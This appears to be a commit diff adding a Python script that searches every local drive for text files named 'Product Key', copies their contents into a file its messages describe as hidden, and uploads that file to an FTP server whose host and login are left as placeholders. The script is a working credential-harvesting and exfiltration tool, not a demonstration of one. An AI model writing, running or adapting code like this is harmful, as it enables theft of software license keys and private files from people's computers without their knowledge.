|
| 1 | +import glob, os, shutil, ftplib, string |
| 2 | +rs = ['%s://' % d for d in string.ascii_uppercase if os.path.exists('%s://' % d)] |
| 3 | +print(rs); |
| 4 | +print(len(rs)); |
| 5 | +print('Execute: 10% Local Drive search complete') |
| 6 | +i = 0 |
| 7 | +j = 0 |
| 8 | +rss=[] |
| 9 | +ff = 'Product Key' |
| 10 | +print('Execute: 20%') |
| 11 | +directory = "rrs" |
| 12 | +file_name = "rrs.txt" |
| 13 | +print('Execute: 30% Hidden folder named rss is created in second local drive from list') |
| 14 | +path = os.path.join(rs[1], directory) |
| 15 | +os.mkdir(path) |
| 16 | +print('Hidden folder path: ',path) |
| 17 | +print('Execute: 40% Hidden file text.txt is created in hidden folder rss') |
| 18 | +CN = os.path.join(path, file_name) |
| 19 | +print('Hidden file location: ',CN) |
| 20 | +file1 = open(CN, "a") |
| 21 | +file1.close() |
| 22 | +pp = CN |
| 23 | +print('Execute: 40% below files are present in system') |
| 24 | +while i != len(rs): |
| 25 | + os.chdir(rs[i]) |
| 26 | + for file in glob.glob("**/*.txt", recursive = True): |
| 27 | + if ff in file: |
| 28 | + print(file) |
| 29 | + completeName = os.path.join(rs[i], file) |
| 30 | + print('File path: ',completeName) |
| 31 | + f = open(completeName,'r') |
| 32 | + print(f.read()) |
| 33 | + f.close() |
| 34 | + rss.append(completeName) |
| 35 | + i += 1 |
| 36 | +print('Execute: 100% showing result') |
| 37 | +print('scan done') |
| 38 | +print(rss) |
| 39 | +while j != len(rss): |
| 40 | + with open(rss[j]) as trs, open(pp, "a") as rrs: |
| 41 | + for line in trs: |
| 42 | + rrs.write(line.rstrip("\n") +'\t'+rss[j]+"\n") |
| 43 | + #shutil.copy(rss[j],pp) |
| 44 | + f = open(pp,'r') |
| 45 | + print(f.read()) |
| 46 | + f.close() |
| 47 | + j+=1 |
| 48 | +f = open(pp,'r') |
| 49 | +print(f.read()) |
| 50 | +print('uploading data.......') |
| 51 | +filename = pp |
| 52 | +ftp = ftplib.FTP() |
| 53 | +host = "FTP CLIENT URL ENTER HERE" |
| 54 | +port = 21 |
| 55 | +ftp.connect(host, port) |
| 56 | +print (ftp.getwelcome()) |
| 57 | +try: |
| 58 | + print ("Logging in...") |
| 59 | + ftp.login("USERNAME ENTER HERE", "PASSWORD ENTER HERE") |
| 60 | + ftp.dir() |
| 61 | + ftp.cwd('htdocs') |
| 62 | + ftp.dir() |
| 63 | + with open(filename, "rb") as file: |
| 64 | + ftp.storbinary(f"STOR test.txt", file) |
| 65 | + ftp.dir() |
| 66 | +except: |
| 67 | + "failed to login" |
0 commit comments